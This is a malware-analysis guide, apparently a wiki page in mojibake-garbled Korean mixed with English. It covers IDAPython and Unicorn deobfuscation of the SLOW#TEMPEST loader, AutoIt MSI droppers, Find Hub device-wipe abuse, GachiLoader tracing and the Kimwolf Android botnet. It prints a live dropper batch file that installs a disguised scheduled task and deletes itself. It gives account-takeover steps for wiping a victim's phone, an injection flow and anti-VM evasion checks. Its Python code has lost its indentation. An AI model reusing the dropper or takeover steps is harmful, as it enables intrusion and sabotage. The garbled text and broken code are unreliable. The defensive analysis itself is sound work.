The technique โ€“ showcased by the SLOW#TEMPEST loader โ€“ can be defeated with a three-step workflow that only relies on IDAPython and the Unicorn CPU emulator.

### 1. Locate every indirect jump / call
```python
import idautils, idc

for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")

2. ๋””์ŠคํŒจ์ฒ˜ ๋ฐ”์ดํŠธ์ฝ”๋“œ ์ถ”์ถœ

import idc

def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s

start = get_dispatcher_start(jmp_ea)
size  = jmp_ea + idc.get_item_size(jmp_ea) - start
code  = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)

3. Unicorn์œผ๋กœ ๋‘ ๋ฒˆ ์—๋ฎฌ๋ ˆ์ดํŠธํ•˜๊ธฐ

from unicorn import *
from unicorn.x86_const import *
import struct

def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)

run(code,0,0) ๋ฐ run(code,1,1)์„ ์‹คํ–‰ํ•˜์—ฌ false ๋ฐ true ๋ถ„๊ธฐ ๋Œ€์ƒ์„ ์–ป์Šต๋‹ˆ๋‹ค.

4. ์ง์ ‘ jump / call์„ ํŒจ์น˜๋กœ ๋ณต์›ํ•˜๊ธฐ

import struct, ida_bytes

def patch_direct(ea, target, is_call=False):
op   = 0xE8 if is_call else 0xE9           # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))

ํŒจ์น˜ํ•œ ํ›„ IDA๊ฐ€ ํ•จ์ˆ˜์— ๋Œ€ํ•ด ์žฌ๋ถ„์„ํ•˜๋„๋ก ๊ฐ•์ œํ•˜์—ฌ ์ „์ฒด CFG์™€ Hex-Rays ์ถœ๋ ฅ์ด ๋ณต์›๋˜๋„๋ก ํ•ฉ๋‹ˆ๋‹ค:

import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))

5. ๊ฐ„์ ‘ API ํ˜ธ์ถœ์— ๋ผ๋ฒจ ์ง€์ •

๊ฐ call rax์˜ ์‹ค์ œ ๋ชฉ์ ์ง€๊ฐ€ ํ™•์ธ๋˜๋ฉด IDA์— ๊ทธ ๋ชฉ์ ์ง€๋ฅผ ์•Œ๋ ค ํŒŒ๋ผ๋ฏธํ„ฐ ํƒ€์ž… & ๋ณ€์ˆ˜ ์ด๋ฆ„์ด ์ž๋™์œผ๋กœ ๋ณต์›๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค:

idc.set_callee_name(call_ea, resolved_addr, 0)  # IDA 8.3+

์‹ค์งˆ์  ์ด์ 

  • ์‹ค์ œ CFG๋ฅผ ๋ณต์› โ†’ ๋””์ปดํŒŒ์ผ ๊ฒฐ๊ณผ๊ฐ€ 10 ์ค„์—์„œ ์ˆ˜์ฒœ ์ค„๋กœ ์ฆ๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.
  • string-cross-reference & xrefs๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜์—ฌ ๋™์ž‘ ์žฌ๊ตฌ์„ฑ์ด ๋งค์šฐ ๊ฐ„๋‹จํ•ด์ง‘๋‹ˆ๋‹ค.
  • ์Šคํฌ๋ฆฝํŠธ๋Š” ์žฌ์‚ฌ์šฉ ๊ฐ€๋Šฅ: ๋™์ผํ•œ ํŠธ๋ฆญ์œผ๋กœ ๋ณดํ˜ธ๋œ ๋ชจ๋“  loader์— ๋„ฃ์–ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

AutoIt ๊ธฐ๋ฐ˜ loaders: .a3x ๋ณตํ˜ธํ™”, Task Scheduler ์œ„์žฅ ๋ฐ RAT ์ฃผ์ž…

์ด ์นจํˆฌ ํŒจํ„ด์€ ์„œ๋ช…๋œ MSI, .a3x๋กœ ์ปดํŒŒ์ผ๋œ AutoIt loaders, ๊ทธ๋ฆฌ๊ณ  ์ •์ƒ ์•ฑ์œผ๋กœ ์œ„์žฅํ•œ Task Scheduler ์ž‘์—…์„ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค.

MSI โ†’ custom actions โ†’ AutoIt ์˜ค์ผ€์ŠคํŠธ๋ ˆ์ดํ„ฐ

MSI custom actions์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค ํŠธ๋ฆฌ์™€ ๋ช…๋ น:

  • MsiExec.exe โ†’ cmd.exe๊ฐ€ install.bat๋ฅผ ์‹คํ–‰
  • WScript.exe๊ฐ€ ๋ฏธ๋ผ์šฉ ์˜ค๋ฅ˜ ๋Œ€ํ™”์ƒ์ž๋ฅผ ํ‘œ์‹œ
%SystemRoot%\system32\cmd.exe /c %APPDATA%\์ŠคํŠธ๋ ˆ์Šค ํด๋ฆฌ์–ด\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\์ŠคํŠธ๋ ˆ์Šค ํด๋ฆฌ์–ด\error.vbs

install.bat (loader ๋“œ๋กญ, persistence ์„ค์ •, self-cleans):

@echo off
set dr=Music

copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3

cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"

del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"

error.vbs (์‚ฌ์šฉ์ž ๋ฏธ๋ผ):

MsgBox "ํ˜„์žฌ ์‹œ์Šคํ…œ ์–ธ์–ดํŒฉ๊ณผ ํ”„๋กœ๊ทธ๋žจ ์–ธ์–ดํŒฉ์ด ํ˜ธํ™˜๋˜์ง€ ์•Š์•„ ์‹คํ–‰ํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค." & vbCrLf & _
"์„ค์ •์—์„œ ํ•œ๊ตญ์–ด(๋Œ€ํ•œ๋ฏผ๊ตญ) ์–ธ์–ดํŒฉ์„ ์„ค์น˜ํ•˜๊ฑฐ๋‚˜ ๋ณ€๊ฒฝํ•œ ๋’ค ๋‹ค์‹œ ์‹คํ–‰ํ•ด ์ฃผ์„ธ์š”.", _
vbCritical, "์–ธ์–ดํŒฉ ์˜ค๋ฅ˜"

์ฃผ์š” ์•„ํ‹ฐํŒฉํŠธ ๋ฐ ์œ„์žฅ:

  • AutoIt3.exe ๋ฐ IoKlTr.au3๋ฅผ C:\Users\Public\Music์— ๋“œ๋กญํ•จ
  • schtasks.exe๋ฅผ hwpviewer.exe๋กœ ๋ณต์‚ฌํ•จ (Hangul Word Processor viewer๋กœ ์œ„์žฅ)
  • 1๋ถ„๋งˆ๋‹ค ์‹คํ–‰๋˜๋Š” ์Šค์ผ€์ค„๋œ ์ž‘์—… โ€œIoKlTrโ€œ๋ฅผ ์ƒ์„ฑํ•จ
  • ์‹œ์ž‘ ํ•ญ๋ชฉ LNK: Smart_Web.lnk; mutex: Global\AB732E15-D8DD-87A1-7464-CE6698819E701
  • adb ๋˜๋Š” adv๋ฅผ ํฌํ•จํ•˜๋Š” %APPDATA%\Google\Browser\ ํ•˜์œ„ํด๋”์— ๋ชจ๋“ˆ์„ ์Šคํ…Œ์ด์ง•ํ•˜๊ณ  autoit.vbs/install.bat ํ—ฌํผ๋ฅผ ํ†ตํ•ด ์‹œ์ž‘ํ•จ

ํฌ๋ Œ์‹ ํŠธ๋ฆฌ์•„์ง€ ํŒ:

  • schtasks ์—ด๊ฑฐ: schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer"
  • Task XML๊ณผ ๋™์ผ ์œ„์น˜์— ์žˆ๋Š” ์ด๋ฆ„ ๋ณ€๊ฒฝ๋œ schtasks.exe ๋ณต์‚ฌ๋ณธ ํ™•์ธ: dir /a "C:\Users\Public\Music\hwpviewer.exe"
  • ์ผ๋ฐ˜ ๊ฒฝ๋กœ: C:\Users\Public\Music\AutoIt3.exe, ...\IoKlTr.au3, ์‹œ์ž‘ ํ•ญ๋ชฉ Smart_Web.lnk, %APPDATA%\Google\Browser\(adb|adv)*
  • ํ”„๋กœ์„ธ์Šค ์ƒ์„ฑ ์ƒ๊ด€๊ด€๊ณ„: AutoIt3.exe๊ฐ€ ์ •๋‹นํ•œ Windows ๋ฐ”์ด๋„ˆ๋ฆฌ(ex: cleanmgr.exe, hncfinder.exe)๋ฅผ ์Šคํฐํ•˜๋Š”์ง€ ํ™•์ธ

AutoIt loaders and .a3x payload decryption โ†’ injection

  • AutoIt ๋ชจ๋“ˆ์€ #AutoIt3Wrapper_Outfile_type=a3x๋กœ ์ปดํŒŒ์ผ๋˜๋ฉฐ, ์ž„๋ฒ ๋””๋“œ payload๋ฅผ ๋ณตํ˜ธํ™”ํ•œ ํ›„ ์ •์ƒ ํ”„๋กœ์„ธ์Šค์— ์ฃผ์ž…ํ•จ.
  • ๊ด€์ฐฐ๋œ ํŒจ๋ฐ€๋ฆฌ: QuasarRAT (hncfinder.exe์— ์ฃผ์ž…), RftRAT/RFTServer (cleanmgr.exe์— ์ฃผ์ž…), ๋ฐ RemcosRAT ๋ชจ๋“ˆ (Remcos\RunBinary.a3x).
  • ๋ณตํ˜ธํ™” ํŒจํ„ด: HMAC๋กœ AES ํ‚ค๋ฅผ ์œ ๋„ํ•˜๊ณ , ์ž„๋ฒ ๋””๋“œ blob์„ ๋ณตํ˜ธํ™”ํ•œ ๋’ค ํ‰๋ฌธ ๋ชจ๋“ˆ์„ ์ฃผ์ž…ํ•จ.

์ผ๋ฐ˜์ ์ธ ๋ณตํ˜ธํ™” ๊ณจ๊ฒฉ(์ •ํ™•ํ•œ HMAC ์ž…๋ ฅ/์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ํŒจ๋ฐ€๋ฆฌ๋ณ„๋กœ ๋‹ค๋ฆ„):

import hmac, hashlib
from Crypto.Cipher import AES

def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 โ†’ first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()

def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)

์ผ๋ฐ˜์ ์ธ ์ธ์ ์…˜ ํ๋ฆ„ (CreateRemoteThread-style):

  • CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
  • VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode
  • CreateRemoteThread or QueueUserAPC to execute payload

Hunting ideas

  • AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
  • Files with .a3x extensions or AutoIt script runners under public/user-writable paths
  • Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers

Account-takeover abuse of Android Find My Device (Find Hub)

Windows ์นจํˆฌ ์ค‘, ์šด์˜์ž๋Š” ๋„๋‚œ๋‹นํ•œ Google ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ด ํ”ผํ•ด์ž์˜ Android ๊ธฐ๊ธฐ๋ฅผ ๋ฐ˜๋ณต์ ์œผ๋กœ ์ดˆ๊ธฐํ™”ํ•˜์—ฌ ์•Œ๋ฆผ์„ ์–ต์ œํ•˜๋Š” ํ•œํŽธ, ํ”ผํ•ด์ž์˜ ๋กœ๊ทธ์ธ๋œ ๋ฐ์Šคํฌํ†ฑ ๋ฉ”์‹ ์ €๋ฅผ ํ†ตํ•ด ์ ‘๊ทผ์„ ํ™•์žฅํ–ˆ์Šต๋‹ˆ๋‹ค.

Operator steps (from a logged-in browser session):

  • Google Account โ†’ Security โ†’ Your devices ํ™•์ธ; Find My Phone โ†’ Find Hub (https://www.google.com/android/find)๋กœ ์ด๋™
  • ๋””๋ฐ”์ด์Šค ์„ ํƒ โ†’ Google ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์ž…๋ ฅ โ†’ โ€œErase deviceโ€(๊ณต์žฅ ์ดˆ๊ธฐํ™”) ์‹คํ–‰; ๋ณต๊ตฌ ์ง€์—ฐ์„ ์œ„ํ•ด ๋ฐ˜๋ณต
  • ์„ ํƒ ์‚ฌํ•ญ: ์—ฐ๊ฒฐ๋œ ๋ฉ”์ผ๋ฐ•์Šค(์˜ˆ: Naver)์— ์žˆ๋Š” ๊ฒฝ๊ณ  ์ด๋ฉ”์ผ์„ ์‚ญ์ œํ•ด ๋ณด์•ˆ ์•Œ๋ฆผ์„ ์ˆจ๊น€

Tracing heavily obfuscated Node.js loaders

๊ณต๊ฒฉ์ž๋Š” JavaScript ๋กœ๋”๋ฅผ standalone Windows ๋ฐ”์ด๋„ˆ๋ฆฌ ๋‚ด๋ถ€์— ๋ฒˆ๋“ค๋กœ ํฌํ•จ์‹œํ‚ค๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋Š˜๊ณ  ์žˆ์œผ๋ฉฐ, ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” nexe๋กœ ์ปดํŒŒ์ผ๋˜์–ด ๋Ÿฐํƒ€์ž„์ด ์Šคํฌ๋ฆฝํŠธ์™€ ํ•จ๊ป˜ ๋ฐฐํฌ๋ฉ๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ PE๋Š” ๋Œ€๊ฐœ 60โ€“90โ€ฏMB์— ๋‹ฌํ•˜๋ฉฐ Node.js๊ฐ€ ์„ค์น˜๋˜์–ด ์žˆ์ง€ ์•Š์•„๋„ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ํŠธ๋ฆฌ์•„์ง€(๋ถ„์„) ์ค‘:

  • Use nexe_unpacker to carve the embedded JavaScript out of the PE and feed it to local tooling for static diffing.
  • Expect a disk-based mutex in %TEMP% (GachiLoader drops a random <name>.lock file that expires after ~5โ€ฏminutes). Copying the file to the sandbox before execution lets you skip redundant stages while still seeing later payloads.

Node.js API tracing to defeat anti-analysis

Check Pointโ€™s Nodejs-Tracer๋Š” ๋ชจ๋“  Node.js ํ”„๋กœ์„ธ์Šค ๋‚ด๋ถ€์˜ ํ•ต์‹ฌ ๋ชจ๋“ˆ์„ ํ›„ํ‚นํ•˜๊ณ  ์•ˆํ‹ฐ-VM ํ”„๋กœ๋ธŒ๋ฅผ ์œ„์กฐํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ์ƒ˜ํ”Œ์ด ์“ฐ๋Š” ๋ชจ๋“  ์•„ํ‹ฐํŒฉํŠธ๋ฅผ ๋ณด์กดํ•ฉ๋‹ˆ๋‹ค. ๋‚œ๋…ํ™”๋œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ tracer๋ฅผ ํ†ตํ•ด ์‹คํ–‰ํ•˜๋ฉด ๋ถ„์„๊ฐ€ ์ œ์–ด์˜ ๊ณ„์ธก์ด ์ฝœ ์Šคํƒ์— ๋‚จ์Šต๋‹ˆ๋‹ค:

node -r .\tracer.js main.js

Key configuration toggles inside tracer.js allow you to:

  • ํŒŒ์ผ์‹œ์Šคํ…œ, ์ž์‹ ํ”„๋กœ์„ธ์Šค, ๊ทธ๋ฆฌ๊ณ  HTTP ํ™œ๋™์„ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค(LOG_HTTP_REQUESTS, SAVE_FILE_WRITES). kidkadi.node ๊ฐ™์€ ๋ชจ๋“  ๋“œ๋กญ๋œ ํŒŒ์ผ์€ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ์‚ญ์ œํ•˜๊ธฐ ์ „์— ์ž‘์—… ๋””๋ ‰ํ„ฐ๋ฆฌ๋กœ ๋ณต์‚ฌ๋ฉ๋‹ˆ๋‹ค.
  • ํ˜„์‹ค์ ์ธ RAM/CPU ์ˆ˜๋ฅผ ๋ฐ˜ํ™˜ํ•˜๊ณ  tasklist ์ถœ๋ ฅ์„ ์œ„์กฐํ•˜๋ฉฐ PowerShell/WMI ์‘๋‹ต์„ ๋ณ€์กฐํ•˜์—ฌ ํ™˜๊ฒฝ ์ง€๋ฌธ์„ ์กฐ์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” โ‰ฅ4โ€ฏGB RAM, โ‰ฅ2 cores๋ฅผ ์š”๊ตฌํ•˜๊ณ  ์‚ฌ์šฉ์ž ์ด๋ฆ„(mashinesssss, wdagutilityaccount ๋“ฑ), ํ˜ธ์ŠคํŠธ๋ช…(desktop-vrsqlag, server1 โ€ฆ), ํ”„๋กœ์„ธ์Šค ์ด๋ฆ„(vmtoolsd.exe, fiddler.exe, x64dbg.exe, frida-server.exe)์„ ๊ฒ€์‚ฌํ•˜๋Š” ๋กœ๋”๋ฅผ ์šฐํšŒํ•ฉ๋‹ˆ๋‹ค.
  • Get-WmiObject Win32_DiskDrive(์˜ˆ: vmware, kvm, virtio ๋“ฑ ํƒ์ง€), Win32_VideoController(โ€œVirtualBox Graphics Adapterโ€, โ€œHyper-V Videoโ€ ๋“ฑ ์ฐจ๋‹จ), Win32_PortConnector ์นด์šดํŠธ ๊ฐ™์€ WMI ํ•˜๋“œ์›จ์–ด ๊ฒ€์‚ฌ๋ฅผ ๋ฌด๋ ฅํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ํ”„๋กœ๋ธŒ๊ฐ€ โ€œ์‹ค์ œโ€ ํ•˜๋“œ์›จ์–ด๋ฅผ ๋ณด๊ณ ํ•˜๋ฉด ์ƒŒ๋“œ๋ฐ•์Šค๋Š” ๋” ์ด์ƒ GachiLoader๊ฐ€ ๋ถ„์„ ์‹œ๊ฐ„์„ ๋‚ญ๋น„์‹œํ‚ค๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•˜๋Š” Invoke-WebRequest์˜ ๋ฌดํ•œ ๋ฃจํ”„(linkedin.com, grok.com, whatsapp.com ๋“ฑ์œผ๋กœ์˜ ๋ฌดํ•ดํ•œ ํ˜ธ์ถœ)์— ๋น ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Capturing gated C2 traffic automatically

The tracerโ€™s network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:

  1. ๊ฐ ํ•˜๋“œ์ฝ”๋“œ๋œ C2์˜ /log์— ํ˜ธ์ŠคํŠธ ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ๋ฅผ POSTํ•ฉ๋‹ˆ๋‹ค.
  2. X-Secret: gachifamily ํ—ค๋”์™€ ํ•จ๊ป˜ GET /richfamily/<per-sample key>๋ฅผ ํ˜ธ์ถœํ•ด Base64๋กœ ์ธ์ฝ”๋”ฉ๋œ payload URL์„ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.
  3. ๊ธด per-sample X-Secret ํ—ค๋”์™€ ํ•จ๊ป˜ ํ•ด๋‹น URL์— ์ตœ์ข… GET์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค; ํ—ค๋”๊ฐ€ ์—†์œผ๋ฉด 403 Forbidden์„ ๋ฐ˜ํ™˜ํ•ฉ๋‹ˆ๋‹ค.

tracer๊ฐ€ ์™„์ „ํ•œ ์š”์ฒญ(ํ—ค๋”, ๋ฐ”๋””, ๋ชฉ์ ์ง€)์„ ๊ธฐ๋กํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋™์ผํ•œ ํŠธ๋ž˜ํ”ฝ์„ ์žฌ์ƒํ•˜์—ฌ ํŽ˜์ด๋กœ๋“œ๋ฅผ ๊ฐ€์ ธ์˜ค๊ณ , ๋ฉ”๋ชจ๋ฆฌ์—์„œ Themida/VMProtect ์…ธ์„ ๋คํ”„ํ•˜๋ฉฐ, ๋Œ€๊ทœ๋ชจ๋กœ Rhadamanthys ๊ตฌ์„ฑ ๋ฐ์ดํ„ฐ๋ฅผ ์ถ”์ถœํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

AdaptixC2: Configuration Extraction and TTPs

์ „์šฉ ํŽ˜์ด์ง€๋ฅผ ์ฐธ์กฐํ•˜์„ธ์š”:

Adaptixc2 Config Extraction And Ttps

Kimwolf Android Botnet Tradecraft

APK loader & native ELF execution on TV boxes

  • ์•…์„ฑ APK(์˜ˆ: com.n2.systemservice06*)๋Š” res/raw ์•ˆ์— ์ •์  ๋งํฌ๋œ ARM ELF(์˜ˆ: R.raw.libniggakernel)๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. BOOT_COMPLETED ๋ฆฌ์‹œ๋ฒ„๊ฐ€ ๋ถ€ํŒ… ์‹œ ์‹คํ–‰๋˜์–ด raw ๋ฆฌ์†Œ์Šค๋ฅผ ์•ฑ ์ƒŒ๋“œ๋ฐ•์Šค(์˜ˆ: /data/data/<pkg>/niggakernel)๋กœ ์ถ”์ถœํ•˜๊ณ  ์‹คํ–‰ ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•œ ๋’ค su๋กœ ํ˜ธ์ถœํ•ฉ๋‹ˆ๋‹ค.
  • ๋งŽ์€ Android TV ๋ฐ•์Šค/ํƒœ๋ธ”๋ฆฟ์€ ์ด๋ฏธ ๋ฃจํŒ…๋œ ์ด๋ฏธ์ง€๋‚˜ ์ „์—ญ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ su๋ฅผ ์ œ๊ณตํ•˜๋ฏ€๋กœ, ๋กœ๋”๋Š” ์ต์Šคํ”Œ๋กœ์ž‡ ์ฒด์ธ ์—†์ด๋„ ์‹ ๋ขฐ์„ฑ ์žˆ๊ฒŒ UID 0์œผ๋กœ ELF๋ฅผ ๋ถ€ํŒ…ํ•ฉ๋‹ˆ๋‹ค. ๋ฆฌ์‹œ๋ฒ„๊ฐ€ ์žฌ๋ถ€ํŒ…์ด๋‚˜ ์•ฑ ์žฌ์‹œ์ž‘ ํ›„์—๋„ ๋‹ค์‹œ ์‹คํ–‰๋˜๊ธฐ ๋•Œ๋ฌธ์— ์ง€์†์„ฑ์€ ์‚ฌ์‹ค์ƒ โ€œ๊ณต์งœโ€๋กœ ํ™•๋ณด๋ฉ๋‹ˆ๋‹ค.
  • ์ด ํŒจํ„ด์„ ์ฐพ๋Š” ๋ฆฌ๋ฒ„์Šค ์—”์ง€๋‹ˆ์–ด๋Š” ์ˆจ๊ฒจ์ง„ ๋ถ€ํŠธ ๋ฆฌ์‹œ๋ฒ„์™€ Resources.openRawResource โ†’ FileOutputStream โ†’ Runtime.getRuntime().exec("su")๋ฅผ ์ฐธ์กฐํ•˜๋Š” ์ฝ”๋“œ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด AndroidManifest.xml์„ diffํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ELF๊ฐ€ ๋“œ๋กญ๋˜๋ฉด Linux userland ๋ฐฑ๋„์–ด๋กœ ๋ถ„๋ฅ˜ํ•ด ํŠธ๋ฆฌ์•„์ง€ํ•˜์„ธ์š”(Kimwolf๋Š” UPX-packed, stripped, statically linked, 32-bit ARM EABI5).

Runtime mutexes & masquerading IOCs

  • ์‹œ์ž‘ ์‹œ Kimwolf๋Š” @niggaboxv4/@niggaboxv5 ๊ฐ™์€ abstract UNIX domain socket์„ ๋ฐ”์ธ๋“œํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ์กด ์†Œ์ผ“์ด ์กด์žฌํ•˜๋ฉด ์ข…๋ฃŒํ•˜๋ฏ€๋กœ ์†Œ์ผ“ ์ด๋ฆ„์€ mutex์™€ ํฌ๋ Œ์‹ ์•„ํ‹ฐํŒฉํŠธ ์—ญํ• ์„ ๋™์‹œ์— ํ•ฉ๋‹ˆ๋‹ค.
  • ํ”„๋กœ์„ธ์Šค ํƒ€์ดํ‹€์„ ์„œ๋น„์Šค์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ์ด๋ฆ„(netd_services, tv_helper ๋“ฑ)์œผ๋กœ ๋ฎ์–ด์จ Android ํ”„๋กœ์„ธ์Šค ๋ชฉ๋ก์— ์„ž์ด๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ํ˜ธ์ŠคํŠธ ๊ธฐ๋ฐ˜ ํƒ์ง€๋Š” ์ด๋Ÿฌํ•œ ์ด๋ฆ„๊ณผ mutex ์†Œ์ผ“์„ ๊ฒฐํ•ฉํ•ด ๊ฒฝ๋ณด๋ฅผ ๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Stack XOR string decoding with ARM NEON + flare_emu

  • ๋ฏผ๊ฐํ•œ ๋ฌธ์ž์—ด(C2 ๋„๋ฉ”์ธ, ๋ฆฌ์กธ๋ฒ„, DoT ์—”๋“œํฌ์ธํŠธ ๋“ฑ)์€ 8๋ฐ”์ดํŠธ ๋ธ”๋ก์œผ๋กœ ์•”ํ˜ธํ™”๋˜์–ด ์Šคํƒ์— ํ‘ธ์‹œ๋˜๊ณ  VEOR Qx, Qx, Qy(veorq_s64)๋กœ ์ œ์ž๋ฆฌ์—์„œ ๋””์ฝ”๋“œ๋ฉ๋‹ˆ๋‹ค. ๋ถ„์„๊ฐ€๋Š” flare_emu๋ฅผ ์Šคํฌ๋ฆฝํŒ…ํ•ด ๋””ํฌ๋ฆฝํ„ฐ๊ฐ€ ํ˜ธ์ถœ์ž์—๊ฒŒ ํฌ์ธํ„ฐ๋ฅผ ๋„˜๊ธธ ๋•Œ๋งˆ๋‹ค ๋ณตํ˜ธํ™”๋œ ํฌ์ธํ„ฐ๋ฅผ ํฌ์ฐฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
import flare_emu

eh = flare_emu.EmuHelper()

def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))

eh.iterate(0x8F00, hook)  # sub_8F00 consumes the plaintext R1 argument
  • Searching for VEOR Q8, Q8, Q9 / veorq_s64 sequences and emulating their ranges mass-dumps every decrypted string, bypassing the stack-only lifetime of the plaintext.

DNS-over-TLS resolution plus XOR IP derivation

  • All Kimwolf variants resolve C2 domains by speaking DNS-over-TLS (TCP/853) directly with Google (8.8.8.8) or Cloudflare (1.1.1.1), defeating plain DNS logging or hijacking.
  • v4 bots simply use the returned IPv4 A record. v5 bots treat the A record as a 32-bit integer, swap its endianness, XOR it with the constant 0x00ce0491, then flip the endianness back to obtain the real C2 IP. CyberChef recipe: Change IP format โ†’ swap endianness per 4-byte chunk โ†’ XOR with 00 ce 04 91 โ†’ convert back to dotted decimal.

ENS / EtherHiding fallback

  • Later builds add an ENS domain (pawsatyou.eth) whose resolver text key "lol" stores a benign-looking IPv6 (fed0:5dec:...:1be7:8599).
  • The bot grabs the last four bytes (1b e7 85 99), XORs them with 0x93141715, and interprets the result as an IPv4 C2 (136.243.146.140). Updating the ENS text record instantly rotates downstream C2s via the blockchain without touching DNS.

TLS + ECDSA authenticated command channel

  • Traffic is encapsulated in wolfSSL with a custom framed protocol:
struct Header {
Magic    [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8   // 0x01
MsgType  uint8   // verb
MsgID    uint32
BodyLen  uint32
CRC32    uint32
}
  • ๋ถ€ํŠธ์ŠคํŠธ๋žฉ: ๋ด‡์€ ๋‘ ๊ฐœ์˜ ๋นˆ MsgType=0 (register) ํ—ค๋”๋ฅผ ๋ณด๋ƒ…๋‹ˆ๋‹ค. C2๋Š” ์ž„์˜์˜ ์ฑŒ๋ฆฐ์ง€์™€ ASN.1 DER ECDSA ์„œ๋ช…์„ ํฌํ•จํ•œ MsgType=1 (verify)๋กœ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค. ๋ด‡์€ ์ด๋ฅผ ๋‚ด์žฅ๋œ SubjectPublicKeyInfo blob์— ๋Œ€ํ•ด ๊ฒ€์ฆํ•ฉ๋‹ˆ๋‹ค; ์‹คํŒจํ•  ๊ฒฝ์šฐ ์„ธ์…˜์„ ์ข…๋ฃŒํ•˜์—ฌ hijacked/sinkholed C2 nodes๊ฐ€ tasking the fleet์„ ์ˆ˜ํ–‰ํ•˜์ง€ ๋ชปํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
  • ๊ฒ€์ฆ๋˜๋ฉด, ๋ด‡์€ ์šด์˜์ž๊ฐ€ ์ •์˜ํ•œ MsgType=0 ๋ฐ”๋””์— operator-defined group string (์˜ˆ: android-postboot-rt)์„ ๋‹ด์•„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฃน์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์œผ๋ฉด C2๋Š” MsgType=2 (confirm)๋กœ ์‘๋‹ตํ•˜๊ณ , ๊ทธ ํ›„ tasking (MsgType 5โ€“12)์ด ์‹œ์ž‘๋ฉ๋‹ˆ๋‹ค.
